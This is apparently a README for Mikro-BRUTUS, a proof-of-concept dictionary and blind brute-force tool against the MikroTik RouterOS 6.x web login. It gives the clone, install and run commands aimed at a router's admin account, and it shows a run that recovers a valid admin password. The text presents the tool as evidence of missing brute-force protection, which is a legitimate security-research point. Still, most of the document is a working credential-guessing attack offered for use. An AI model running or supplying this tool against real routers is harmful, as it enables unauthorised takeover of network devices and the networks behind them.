PoC (Proof of Concept) Bruteforcing Utility RouterOS v6.48.6
Mikro-BRUTUS is a simple proof of concept dictionary and blind brute forcing tool targeting the MikroTik RouterOS 6.x web interface. RouterOS notiously lacks brute force protections on the web and winbox interfaces. They've largely coasted off their custom authentication/encryption schemes from preventing these attacks.
Luckily Margin Research released a python library that can handle authentication from 6.34 - 6.49.8 (current release).
This was written in about 10 minutes, and only to prove that MikroTik hasn't implemented any protections on the web interface.
Below is Mikro-Brutus in Action :
git clone https://github.com/oyi77/mikro-brutus.git
cd mikro-brutus
python3 -m pip install -r requirements.txt
python3 bruteme.py --rhost 10.9.49.1 --username admin
Attempt 201
Success! Valid credentials:
admin:1qazxsw2